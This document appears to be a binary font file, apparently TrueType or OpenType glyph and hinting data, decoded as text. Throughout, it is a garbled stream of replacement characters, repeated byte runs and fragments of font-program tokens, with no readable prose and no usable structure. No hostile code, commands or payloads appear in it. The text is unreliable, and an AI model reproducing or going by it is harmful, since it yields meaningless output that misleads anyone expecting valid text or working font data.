-1+6+7T9:<+MTV[+�+�+�+4D�F�G�H��I��J�K��L��N��P�VQ�TR�S�TT�U�TV�+X�BY��Z��[��\��]�V������������������������������������������T��������������B��B��B��B��������(E��G��I��J��K��L��M��N��P��Q��R��S��T��U��V��W��X��Y��Z��[��\��]��������������������������������������������������������
K��N��P��W��Y��Z��[��\��������
"*,02=!DN-PR8UU;YZ<��>��N��S��Z��j��p��q[d(Z�
�zl(�!�#�%'�-F. 1�2D3�9�>�C�E�F`G�JTKLM*NLNbO�O�PP�P�Q�V�P�Zr�$��$��$��$��$��$��%%%%%%&!&!&!&!&!&!-��-��-��-��-��-��0!0!0!0!0!0!777777<<<<<<=��=��=��=��=��=��D��D��D��D��D��D��EEEEEEHHHHHHI!I!I!I!I!I!K!K!K!K!K!K!OOOOOOS!S!S!S!S!S!UUUUUUW!W!W!W!W!W!�������������������������������������������������������������������������������������������������������������������������������!�!�!�!�!�!��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������B�B�B�B�B�B!!!!!!������������������������������������������������%%%%%%&��&��&��&��&��&��(P(P(P(P(P(P)/)/)/)/)/)/2��2��2��2��2��2��3�/3�/3�/3�/3�/3�/4��4��4��4��4��4��5�P5�P5�P5�P5�P5�P6�o6�o6�o6�o6�o6�o7�7�7�7�7�7�8�/8�/8�/8�/8�/8�/9!9!9!9!9!9!:�1:�1:�1:�1:�1:�1<��<��<��<��<��<��D/D/D/D/D/D/EEEEEEF��F��F��F��F��F��GGGGGGJ��J��J��J��J��J��M/M/M/M/M/M/R��R��R��R��R��R��T��T��T��T��T��T��V��V��V��V��V��V��W�W�W�W�W�W�X��X��X��X��X��X��Y�PY�PY�PY�PY�PY�PZ�?Z�?Z�?Z�?Z�?Z�?[[[[[[\��\��\��\��\��\��]��]��]��]��]��]���������������������P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P��������������������������������������������������������������������������������������������������������������/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/�������������������/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������++++++999999=?=?=?=?=?=?D/D/D/D/D/D/F��F��F��F��F��F��G/G/G/G/G/G/H/H/H/H/H/H/KKKKKKL!L!L!L!L!L!MPMPMPMPMPMPN/N/N/N/N/N/O!O!O!O!O!O!PPPPPP]1]1]1]1]1]1�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�������������������/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!&%/%/%/%/%/%/&��&��&��&��&��&��7�q7�q7�q7�q7�q7�q9/9/9/9/9/9/<�<�<�<�<�<�=P=P=P=P=P=PD1D1D1D1D1D1E/E/E/E/E/E/F��F��F��F��F��F��G1G1G1G1G1G1H!H!H!H!H!H!J��J��J��J��J��J��K/K/K/K/K/K/M?M?M?M?M?M?N/N/N/N/N/N/OBOBOBOBOBOBR��R��R��R��R��R��S?S?S?S?S?S?T��T��T��T��T��T��W�`W�`W�`W�`W�`W�`Y�PY�PY�PY�PY�PY�PZ��Z��Z��Z��Z��Z��[![![![![![!\�\�\�\�\�\�]1]1]1]1]1]1�������������������������������1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�������������������!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�������������������������������������������������������������������������������������������������������������������������������������������������������������$�$�$�$�$�$�%`%`%`%`%`%`0`0`0`0`0`0`7P7P7P7P7P7P8`8`8`8`8`8`9`9`9`9`9`9`:P:P:P:P:P:P;P;P;P;P;P;P<`<`<`<`<`<`=/=/=/=/=/=/DqDqDqDqDqDqEPEPEPEPEPEPF��F��F��F��F��F��GqGqGqGqGqGqH?H?H?H?H?H?I/I/I/I/I/I/JJJJJJK?K?K?K?K?K?LBLBLBLBLBLBNPNPNPNPNPNPOBOBOBOBOBOBP1P1P1P1P1P1R��R��R��R��R��R��S?S?S?S?S?S?T��T��T��T��T��T��WqWqWqWqWqWqXPXPXPXPXPXPYPYPYPYPYPYPZqZqZqZqZqZq[?[?[?[?[?[?\q\q\q\q\q\q]P]P]P]P]P]P�������������������������������������������������������������������������������������`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�������������������?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�������������������������������������������������������������������������������������������������������������P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�q�q�q�q�q�q�q�q�q�q�q�q�������������������`�`�`�`�`�`f8?8?8?8?8?8?=?=?=?=?=?=?J!J!J!J!J!J!V?V?V?V?V?V?X1X1X1X1X1X1Y��Y��Y��Y��Y��Y��\��\��\��\��\��\���?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1������������������������������������H(?(?(?(?(?(?4?4?4?4?4?4?7P7P7P7P7P7P9`9`9`9`9`9`J/J/J/J/J/J/\��\��\��\��\��\���?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?������������������������������������<%!%!%!%!%!%!-��-��-��-��-��-��D��D��D��D��D��D���������������������������������������������������������������������������������������������������������������������������������)��)��)��)��)��)��3��3��3��3��3��3��5��5��5��5��5��5��7��7��7��7��7��7��8��8��8��8��8��8��9��9��9��9��9��9��D��D��D��D��D��D��J��J��J��J��J��J��M��M��M��M��M��M��QQQQQQS/S/S/S/S/S/UPUPUPUPUPUP\��\��\��\��\��\���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������')')')')')')******-+-+-+-+-+-+2222224+4+4+4+4+4+6+6+6+6+6+6+9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��JJJJJJKKKKKKY��Y��Y��Y��Y��Y���������������������������������������������������������)�)�)�)�)�)������������������x*+*+*+*+*+*+,,,,,,2+2+2+2+2+2+7?7?7?7?7?7?9?9?9?9?9?9?<?<?<?<?<?<?I+I+I+I+I+I+�������������������������+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�?�?�?�?�?�?�+�+�+�+�+�+�?�?�?�?�?�?Z5��5��5��5��5��5��7��7��7��7��7��7��9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��HHHHHH\��\��\��\��\��\���������������������������������������������������������������������������������������������;��;��;��;��;��;��D��D��D��D��D��D��H��H��H��H��H��H��J��J��J��J��J��J��M��M��M��M��M��M��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��X��X��X��X��X��X��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������V2��2��2��2��2��2��4��4��4��4��4��4��5��5��5��5��5��5��8��8��8��8��8��8��D��D��D��D��D��D��F��F��F��F��F��F��G��G��G��G��G��G��H��H��H��H��H��H��J)J)J)J)J)J)P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��T��T��T��T��T��T��V��V��V��V��V��V��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6:��:��:��:��:��:��DDDDDD�������������������������������������������:��:��:��:��:��:��;��;��;��;��;��;��<��<��<��<��<��<��D��D��D��D��D��D��F��F��F��F��F��F��G��G��G��G��G��G��H��H��H��H��H��H��J��J��J��J��J��J��R��R��R��R��R��R��T��T��T��T��T��T��U��U��U��U��U��U��WWWWWWY+Y+Y+Y+Y+Y+Z+Z+Z+Z+Z+Z+\+\+\+\+\+\+�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+�+�+�+�+�+�+�+�+�+�+�+������������������������������$7��7��7��7��7��7��9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��������������������������������Z6?6?6?6?6?6?7?7?7?7?7?7?8+8+8+8+8+8+======KKKKKKMVMVMVMVMVMVUUUUUUZ+Z+Z+Z+Z+Z+\T\T\T\T\T\T�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�T�T�T�T�T�T�T�T�T�T�T�Tz������8+8+8+8+8+8+9B9B9B9B9B9B:B:B:B:B:B:B<V<V<V<V<V<V=+=+=+=+=+=+D�D�D�D�D�D�F�F�F�F�F�F�G�G�G�G�G�G�H��H��H��H��H��H��I��I��I��I��I��I��J�J�J�J�J�J�L��L��L��L��L��L��P�P�P�P�P�P�Q�Q�Q�Q�Q�Q�R��R��R��R��R��R��S�S�S�S�S�S�T�T�T�T�T�T�U�+U�+U�+U�+U�+U�+V�V�V�V�V�V�W��W��W��W��W��W��X�X�X�X�X�X�Y�+Y�+Y�+Y�+Y�+Y�+Z�BZ�BZ�BZ�BZ�BZ�B[�?[�?[�?[�?[�?[�?\�B\�B\�B\�B\�B\�B]�V]�V]�V]�V]�V]�V�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�V�V�V�V�V�V��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������B��B��B��B��B��B��B��B��B��B��B��B�������������������V�V�V�V�V�V>D�TD�TD�TD�TD�TD�TF�TF�TF�TF�TF�TF�TG�VG�VG�VG�VG�VG�VH�?H�?H�?H�?H�?H�?I��I��I��I��I��I��J�+J�+J�+J�+J�+J�+K��K��K��K��K��K��L��L��L��L��L��L��N��N��N��N��N��N��P�jP�jP�jP�jP�jP�jQ�jQ�jQ�jQ�jQ�jQ�jR�?R�?R�?R�?R�?R�?S�jS�jS�jS�jS�jS�jT�VT�VT�VT�VT�VT�VU�jU�jU�jU�jU�jU�jV�jV�jV�jV�jV�jV�jW��W��W��W��W��W��X�jX�jX�jX�jX�jX�jY��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]�j]�j]�j]�j]�j]�j��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��������������������������������������������������������������������������j��j��j��j��j��j��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��������������������������������������?��?��?��?��?��?><V<V<V<V<V<VD�VD�VD�VD�VD�VD�VF�TF�TF�TF�TF�TF�TG�VG�VG�VG�VG�VG�VH�VH�VH�VH�VH�VH�VJ�TJ�TJ�TJ�TJ�TJ�TK��K��K��K��K��K��L��L��L��L��L��L��P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R�?R�?R�?R�?R�?R�?S��S��S��S��S��S��T�VT�VT�VT�VT�VT�VU��U��U��U��U��U��V��V��V��V��V��V��W��W��W��W��W��W��X�X�X�X�X�X�Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]��]��]��]��]��]���V�V�V�V�V�V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��T��T��T��T��T��T��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��������������������������������������������������������������������������������������������?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��������������������������������������������������������������������������������������?��?��?��?��?��?�V�V�V�V�V�V�G��G��G��G��G��G��H��H��H��H��H��H��J+J+J+J+J+J+MmMmMmMmMmMmR��R��R��R��R��R��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0P��P��P��P��P��P��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������HHHHHHHM+M+M+M+M+M+X��X��X��X��X��X��Z��Z��Z��Z��Z��Z���������������������������������������������������������������������������������������������������7+7+7+7+7+7+9?9?9?9?9?9?:T:T:T:T:T:T<+<+<+<+<+<+J��J��J��J��J��J��L��L��L��L��L��L��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��U��U��U��U��U��U��V��V��V��V��V��V��X��X��X��X��X��X��[��[��[��[��[��[���+�+�+�+�+�+�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+�+�+�+�+�+0KKKKKKMMMMMMYYYYYYZZZZZZ[?[?[?[?[?[?\\\\\\������������<X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������HR��R��R��R��R��R��Y+Y+Y+Y+Y+Y+\+\+\+\+\+\+�������������������������������������������������������������������������������������������������������������+�+�+�+�+�+�+�+�+�+�+�+������������������HS��S��S��S��S��S��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������X��������������HW?W?W?W?W?W?XXXXXXY?Y?Y?Y?Y?Y?Z+Z+Z+Z+Z+Z+[+[+[+[+[+[+\?\?\?\?\?\?�������������������������?�?�?�?�?�?�?�?�?�?�?�?\��Z?Z?Z?Z?Z?Z?[+[+[+[+[+[+\+\+\+\+\+\+�+�+�+�+�+�+�+�+�+�+�+�+[+[+[+[+[+[+\\\\\\]��]��]��]��]��]��������������\B�B�BN------1+1+1+1+1+1+6+6+6+6+6+6+7T7T7T7T7T7T999999::::::<+<+<+<+<+<+MTMTMTMTMTMTVVVVVV[+[+[+[+[+[+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+8D�D�D�D�D�D�F�F�F�F�F�F�G�G�G�G�G�G�H��H��H��H��H��H��I��I��I��I��I��I��J�J�J�J�J�J�K��K��K��K��K��K��L��L��L��L��L��L��N��N��N��N��N��N��P�VP�VP�VP�VP�VP�VQ�TQ�TQ�TQ�TQ�TQ�TR�R�R�R�R�R�S�TS�TS�TS�TS�TS�TT�T�T�T�T�T�U�TU�TU�TU�TU�TU�TV�+V�+V�+V�+V�+V�+X�BX�BX�BX�BX�BX�BY��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]�V]�V]�V]�V]�V]�V��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������T��T��T��T��T��T��������������������������������������������������������������������������B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B�������������������������������������������������E��E��E��E��E��E��G��G��G��G��G��G��I��I��I��I��I��I��J��J��J��J��J��J��K��K��K��K��K��K��L��L��L��L��L��L��M��M��M��M��M��M��N��N��N��N��N��N��P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��S��S��S��S��S��S��T��T��T��T��T��T��U��U��U��U��U��U��V��V��V��V��V��V��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<K��K��K��K��K��K��N��N��N��N��N��N��P��P��P��P��P��P��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��������������������������������������(	"#%)*-.034579:;EGIJKNPTUWYZ[�������������B+�����)T?++?+++++?BV+++++)����)������������������+�B����T��V�B+��B))+��������j)����������)������+)+����+��)&&''((,,//11226688<<==	DD
FFHHLL
OOQQRRSS����������������������
��������
��������������,&&''((,,//1122	6688
<<==DDFFHH
LLOOQQRRVVXX\\]]����������	��	��
����������
����������������	����$$&(,,//126688	<=
DDFF
HHLLOOQS����$��*��1��A��G��H��I
latn�����3�3�f��@JFBRC 
��`��� ��0 
~���Sx�� 
    " & / : _ �!"����
 ���Rx��     " & / 9 _ �!"�������������n�J���������������5� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������qdei�v�pk�uj��rglz��cnm{�b����������ַ�������w�������������������x�������/���	'������,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��{����&�+�/�ֱ��+��+0174>.!{$:FF:$$:FF:$�-F$$F-,F$$F!���q��5�/�3�	+�2�	+�/�ֱ��+��	+01333���q%��%��#�^�+�333�+�333�
+�$3��$2�
+�33��	

$2���2� /�ֱ
��+�
�
+�@	+�+�
�/�
�
+�@	+��+�
�!+�6�>�p+
�>#�+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@0153#53!3!3#3#!#!%!!�^��LK�NL��`��C��D�D��C8f���w�4��4���������J�NsI��F/�	
+�&/�)/�	+�J/�ֱ.
�.�F+�2�E�2�E�	+�?�K+�6���\+
����2��8���D��+
����3��28�8���� +��
+��+�+���+�+�2�328+��[��+�3�438+�538+�638+�38�2�628+��[��+�3�738+�38�2�728+�
 � �#9�4389�59�9@5
234678..............@5
234678..............�@�.�9�EF�)99�	�&9�?�%9�F�CG99�&�.?$9�)�%9�� 9901732>54.'.54>75!.#"!5&$J�(�H{e:9jwN9QiLV<;#P��^Ftr]!�(�jCp]526VD3<QrN_@A&P��a�����7g`w4X:1J.	$,=I^8a�c;��%?fDfBY,L4!4$
'-AMd;d�oB���:����-7b�++�3�1+�+�+�+�6#+
+�6+�
+
+�+�8/�9+�61�&'$9��	$9014>2".!2>."4>2".62>.":+P���P++P���P9�!�R�EdEEdE4+P���P++P���P�EdEEdE6ys[77[sys[77[�;��bvO77OO77�4ys[77[sys[77[�O77OO77s��T�5C��0+�(3�:�+�� A0
+�"3� �0+�D/�ֱ6�6� ���/��6�?+�$�$?
+�@$!	+�E+�6�9�?�0:$9�$�.999�A:�'9�0�.9901467.5>2!4.#"3!#3".'!".%32>=!"s|a[fAk�����d>�OvMKr=:ZW)�w@A$:C3-
z��b��e;	Y�P(`bA�Ɋ��]�!�\X�aD<Z�Y?Q &>C"3M(��DX��(F/�@f�eHc(+Q3�w\s?�#�+�	+�/�ֱ��+013\�s%��;��3
�/�ֱ�+017&
;��}��]���d�	띨��}�/��f2Q�w3
�/�ֱ�+017
'4}�d؛�X������������f������J��-�+�	+�
2�/�ִ+�+��9017'37''7
9���5ď�zy����H��L�'�r��r�#ujR�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	
�2�	

+�@		+�
	
+�@
	+�
+015!3!!#-�1��V�1����3X�7{�
/�	/�/�ֱ��
+�	+�+�	
�90174>#7.X<UV<G�',4q6GJ5F��9H);�/����/�+015!H�)��L��s
�/�ֱ��+0164>.L!4>?4!!4>?4YP?!!?P?!!��X�!!��T��7=��'�%=�+��+�!��&/�ֱ
��+��'+��$90154>2 $%2>=4.=l����l�����
>e���e>>e���e>fϛ��ST�����ԇ�-�^�^22^�^�]�]22\�^
��	>�+��2�+���
/�ֱ
�
+�@	+�
+�@	+�+015!3!53
��V����K���L��0��+�.�+��(
+�(�+�1/�ְ2�.
�2�.�+�"�/2�2+�6���s+
��
��*��&���
+�
+�	
+�*�'*&+�)*&+�
 � �#9�9�	9�)*&9�'9@		
&')*.........@		
&')*.........�@�.�9��"990134>32>54&#"!>32#"!LCo��Y :K<5��H�W��@l��QZ��sF@g��b4`f={y`�_>'>(pv-^>X�dEEf�bj�^8&N7{�����=m�8+��8
+�@	+�&+��8&
+�� 8&+�>/�ֱ2� ��,
�,
+�@	+�?+�,�/9��29� 8�/901!32>54!#532>74.#"!4>32#".@dg07kb<����:eY4@xR3d[9��Ep��RS��mBmZe�Jw��XU��rF�4Q,/U7��%F0!?;#'G/Y�_@Fc�XY�!�]e�eBCb�?�

>�+�+�

+�3�
	�2�/�ְ2��2�+��
9901!3#!!!?��������#u������J����'a�"+��"
+�@	+�+��"
+���(/�ֱ�
+�@	+��+�
�)+��9��"9901!32>56.#!!!!2#".J;bf84dZ75\h;����wɤ]=j��Xb��k>�8R*4]=:U-���3j�z_�oN%Be�;����)5l�%+�-�+��3%
+��
%+�6/�ֱ*
�2�*�0+� �7+�0*�
%3$9� �9�3-� 9�
%�999014>32!4.#&5>32#".%32654&#";Bq��ZxϦ_��^�P��-�\K��oU/h��oqѬh
���������]�lL$1c�m=Y)�o�ES-Mf�Wr�s==s�pqyzpr~)T�"�+�+���/�+��901!!)�}��I�����)����"/;��+�&�+�9�3,
+�3+�</�ֱ#�#�0 ���/�0�#�(+��6 ���=+�0�9�6�%&,9$9��9�3,�99�9�9901>7.54>32'.% 6'.#"32676&#")qhY[\��vuӤ`][Fe-Cu��b`��uD�:�^�]X�c�{�������[�*0�Vi�j89j�hQ�%qx;a�jH Hi�^X~YD_**`[nm\Zq{;����+8r�+��
+�@	+�+�6�%/
+�%��9/�ְ2�,
�2�,�!+�22��:+�!,�%/$9�%� !99�/�"9�6�9014>32#".5!3655#".%326'.#";Dt��XqѬhBq��Z`��oAb�P��-�\K��oU/
����]�[���\�oN%=r�t��]�lL$Ba�X<Y)�o	�ER-Mf�Wr�sLl2z\��^
�/�ְ2��2��+0174>.4>.\<UV< 3>?3 <UV< 3>?3 �7KK7'=  =y7KK7'=  =X�7^
2�/�ְ2��2��
+�	+�+�	
�90174>#7.4>.X<UV<G�',4<UV< 3>?3 q6GJ5F��9�7KK7'=  ='��f#�	/�ִ+�2�
+��99015	'ע��D�uӟ
����)R��/��/���/�	+015!5!)��R��d��P��f!�	/�ְ2�+�
+��9015	57PC����)B57
��-�-5��}�,:v�8+�1	+�+�(�(
+�@(	+�;/�-ֱ4�4-+�
�/�
�4�#+��<+��(0178$9�#4�9��9�(1�9901>32!5>7>54.#"4>2".5Y��oY��f:*@[O[N��%E/+R150SX5CxP31HVH11HVH1�n�h5Db�YGrF="*4�
QLA
"&5#8Q(.^>��4L""L43L""LX��+FS��>+�+�3�K�A/�<�Q/��0/���T/�ֱ6�6�+�G�G�N+�"2�$�$�*+��U+�NG�!0<A$9�$�>?999�*�9�K�&99�Q�*6$9��!"#999014>32#".5#"543277>54.#"327#".%32654&#"X^����9�Ų"BB)HWU#��.�T�"�4?=m��t^��zGHw��^�u^�ځ�ۡ`5=�\�������‰Cf�����(Q7,I)��#]Ah�A
�z�ΊY'2h��v�ΆY&G�f:��K�T��z������
,�+�3�+�
+���/�+��
901#!!!!/�'���y�{�����f��
c\� +c�+��+�+�! 
+�!��,/�ֱ�!2��+�
�% ��
�-+��
9� �9�!�
9�+�9013!2#%!2>54.#!5!2654.#!\�l��J\_;^3S��u�b�.WT3Yx;�b�wj1\=�b�2c�jX�*P_Y%t�_+�$G0=]+�VD98$;��T�)C�$+��	+��
$	+�*/�ֱ�++�$�"9�
�!99�	�9014547>32.#"3267!".;{����m�E�a}�9:8q�`�E������x7�ohl‘Uol�CDWHIVTY]��TME��S���RR�"8�+�	�+�"��#/�ֱ��+�
�$+�"�
9013!2#!267676'45.#!R3��s6q���'v�457i�p���O���mfah��RQDCRKTW��L`��G�+�		�+�	�
+���/�ֱ	
�2�	
+�@		+�2�@		+�
+013!!!!!`1����$����������dj�	@�+�+�	�
+���
/�ֱ	
�2�	
+�@		+�@		+�+013!!!!d�	�1����y���+��\�&z�!+��+��!
+��	!+�'/�ֱ��+�
�
+�@	+�(+��!999��	99��9�	!�99��90146$32.#"32675!5!#"$.+a�&��m�G�`��u"Lp�gZ�Q��fn�귝���v5��ځqk�DL��I�}[73@���P���f��B�?�+�3�+�3�

+�
��/�ֱ
�2��+�2�
�
+01!!!!!f�
��@���]�fD��fs�!�+�+�/�ֱ
�
�+013!f
��f+���N�+��
+�@	+�	+���/�ֱ��+�
�
+�@	+�+��901!!265!5!#".+
k���P������]T��׬:��ʺ�ߦR��d�0�+�	3�+�3�
/�ֱ
�2�+��99013!!	!d P����������_	�R�-{��dT�,�+��+�/�ֱ
�
+�@	+�+013!!d���`�f��T�B�+�3�+�3�
/�ֱ
��+�
�+��99��9901!	!!#f8��5��-6�8���i�f��p��y��!�
O�+�3�+�3�+�/�ֱ

�
�+�
�+�
�9��99��	990133!#y�������{�d�9%����3J�+��+�,��4/�ֱ��#+��5+�#�,$9�,�999014>  .2>745&'."%9x�� �x8v�����w�!Ii�ĠiH!Hk�ĢlJP���UU��linrԿ�SR��DJ��^89_��JFDH�e<=e�H@Bd�B�+�+��
+���/�ֱ
�2��+�
� +��90132$32#!!2>4.#!dp�p�~"#""~��k�?e>!">e>�k�W�[\a^Y[�W�Z�,G[`[G,!���8Z�+�#�	+�1��9/�ֱ7�7�)+��:+�)7�	#$9��99�#�99�1�999014547> '#".%32>7654'.#"!w��&�v8������v6	&Nm�Zu�q!Hh�by�m�ngl��TR���q������kS���lH�~_8\�[PRI�]8[�XSWf\�d�+�3�+��
+���/�ֱ
�2��+�	
�+��$9�	�9��9��9��	901323!!!264&#!fr�r{�C&Q�b����^���y}~x�e�O��^N�}Z��!ӆ������8��4+��+��4+�9/�ֱ!�!�	+�.�:+�6���+
����#��%���
+�#�$#%+�$#% � �#9�
 � �#9�
#$%......�
#$%......�@�!�9�	�'4$9�.�99��!.$9��901732>54%.54>7 .#"#".�-ۋBs_6��Enx\U6!b��g���'�p��1`fIFq|]W8"@p��br��{;uqr1V8�#",BRqCj�a1��oA_jT-A(	$.EWvH]�jH!%Q���:�+�+��2�/�ֱ
�
+�@	+�
+�@	+�	+015!!!��9������\�d��N�7�+��+�
3�/�ֱ
��	+��+�	�901!3265!#".d
ǫ��\�∃�fb6�ʾ�ҹ6�ʜ��RP������!�+�+�3�/�+��901!	!!/��0�������]�`
u�r�+�3�+�33�/�ֱ��+��+�6�<��+
�.�������...�....�@��99��901!	3	!##
/R\�fH/��沗���������f��7�B-h�&�+�3�+�3�/�+��990135	5!	!	!	-�)gf)��������
��
�H�3����
0�	+�+�3�/�	ֱ
�+�	�9�	�9015!	!!Bm|F����
��P
���Pq�	.�+��+���
/�+��9��90135!5!!�<N�����d�%R?5�/��/���/�ִ	+�2��	+�2�	+01!#3d����������X�!!!
���!�7�%�?>�/��/���/�ְ2�	+���/��	+�/�	+0173#5!!���\�����+�	/�
+0153!	���������)������+��+�/�+01!!�9���u���+�	��/�ִ
+�+015!#'�������b
&o�+�+��+�+�%��'/�ֱ��!+�
�
��/�3�(+�!�999��
99��9�%�9��
9014676323273#'"#&'.32>4.#"�vt�f�*	��
(�_�rt����GsG&&GsG����::YK���S]:<�:��5VnrnV5R����h�+�
+��+�+���/�ֱ����+�	�+��9��
99��9��	9��90133>32#"'2654&#"R�)�X����h!��{y����IY���|�������������>�+��+���/�ֱ�+��9��	$9��901>32&#"327#".U��pn�R�Yr��{�T�V�so��u΂CEP�P����T�UKD�#��j�r�
+�
+��+�+���/�ֱ��+����/��
�
/�+��
99��9�
�9��9��9014323#'#"72654&#"#�X�)��h�����y{���YI0�h��􂧤����%��@=�+�
�+��

+���/�+�
�9�
�9��90143 !3267# !.#"%%��s����I�)�L�z����!�nh��'���/3`w4*�PT%e`dd��+�\�+�+�
�
+�3��2�/�ְ2��2�
